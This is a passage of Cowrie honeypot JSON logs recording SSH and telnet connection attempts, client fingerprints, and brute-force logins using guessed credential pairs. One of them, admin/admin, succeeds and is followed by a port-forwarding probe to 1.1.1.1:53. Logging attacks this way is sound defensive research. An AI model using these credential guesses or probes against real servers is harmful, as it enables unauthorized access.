{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:51.812137Z","src_ip":"102.210.148.92","session":"f6fdf60c3d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuserdevuser","message":"login attempt [devuser/devuserdevuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:52.801785Z","src_ip":"102.210.148.92","session":"f6fdf60c3d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:54.043882Z","src_ip":"102.210.148.92","session":"f6fdf60c3d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":46460,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f8e1332e711","protocol":"ssh","message":"New connection: 152.32.214.226:46460 (159.203.135.109:22) [session: 1f8e1332e711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:04.800837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:04.806830Z","src_ip":"152.32.214.226","session":"1f8e1332e711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:05.024916Z","src_ip":"152.32.214.226","session":"1f8e1332e711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"password123","message":"login attempt [developer/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:05.932196Z","src_ip":"152.32.214.226","session":"1f8e1332e711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:07.153171Z","src_ip":"152.32.214.226","session":"1f8e1332e711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.65096688270569,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:12.668874Z","src_ip":"172.81.62.90","session":"d7b00ad0b273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":57168,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a30cb23c3ce","protocol":"ssh","message":"New connection: 163.7.9.84:57168 (10.17.0.5:22) [session: 3a30cb23c3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:14.405872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:14.409843Z","src_ip":"163.7.9.84","session":"3a30cb23c3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:14.663942Z","src_ip":"163.7.9.84","session":"3a30cb23c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"00850e5dc72c","protocol":"ssh","message":"New connection: 45.123.217.22:51710 (10.17.0.5:22) [session: 00850e5dc72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:15.171858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:15.176628Z","src_ip":"45.123.217.22","session":"00850e5dc72c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:15.405757Z","src_ip":"45.123.217.22","session":"00850e5dc72c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dcm4chee","password":"123","message":"login attempt [dcm4chee/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:15.714191Z","src_ip":"163.7.9.84","session":"3a30cb23c3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roman","password":"123","message":"login attempt [roman/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:16.359557Z","src_ip":"45.123.217.22","session":"00850e5dc72c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:16.972423Z","src_ip":"163.7.9.84","session":"3a30cb23c3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:17.595768Z","src_ip":"45.123.217.22","session":"00850e5dc72c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":39650,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9ee8adb32d0","protocol":"ssh","message":"New connection: 129.146.243.24:39650 (159.203.135.109:22) [session: c9ee8adb32d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:33.882283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:33.886871Z","src_ip":"129.146.243.24","session":"c9ee8adb32d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:34.090003Z","src_ip":"129.146.243.24","session":"c9ee8adb32d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"comunicacion","password":"comunicacion","message":"login attempt [comunicacion/comunicacion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:34.587718Z","src_ip":"129.146.243.24","session":"c9ee8adb32d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5859,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4b936409ffe","protocol":"ssh","message":"New connection: 196.188.93.169:5859 (10.17.0.5:22) [session: e4b936409ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:35.178110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:35.182371Z","src_ip":"196.188.93.169","session":"e4b936409ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:35.349102Z","src_ip":"196.188.93.169","session":"e4b936409ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:35.684362Z","src_ip":"129.146.243.24","session":"c9ee8adb32d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@321","message":"login attempt [root/abc@321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:36.048876Z","src_ip":"196.188.93.169","session":"e4b936409ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:37.218892Z","src_ip":"196.188.93.169","session":"e4b936409ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53336,"dst_ip":"10.17.0.5","dst_port":22,"session":"90fc2e137994","protocol":"ssh","message":"New connection: 87.251.64.176:53336 (10.17.0.5:22) [session: 90fc2e137994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.408859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.412482Z","src_ip":"87.251.64.176","session":"90fc2e137994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56354,"dst_ip":"159.203.135.109","dst_port":22,"session":"088e0a4b50df","protocol":"ssh","message":"New connection: 27.71.230.31:56354 (159.203.135.109:22) [session: 088e0a4b50df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.425056Z"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.540711Z","src_ip":"87.251.64.176","session":"90fc2e137994","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.599936Z","src_ip":"27.71.230.31","session":"088e0a4b50df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.683367Z","src_ip":"27.71.230.31","session":"088e0a4b50df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.886134Z","src_ip":"87.251.64.176","session":"90fc2e137994","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:41.993027Z","session":"90fc2e137994","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:42.098326Z","src_ip":"87.251.64.176","session":"90fc2e137994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:42.209655Z","src_ip":"87.251.64.176","session":"90fc2e137994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123$","message":"login attempt [root/admin123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:47.290184Z","src_ip":"27.71.230.31","session":"088e0a4b50df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:48.632422Z","src_ip":"27.71.230.31","session":"088e0a4b50df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":22262,"dst_ip":"159.203.135.109","dst_port":22,"session":"cab02f3c1ecf","protocol":"ssh","message":"New connection: 45.148.10.152:22262 (159.203.135.109:22) [session: cab02f3c1ecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:50.157978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:50.162658Z","src_ip":"45.148.10.152","session":"cab02f3c1ecf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":37166,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd6411ad09e","protocol":"ssh","message":"New connection: 14.63.196.175:37166 (159.203.135.109:22) [session: 0cd6411ad09e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:07:50.469160Z"}
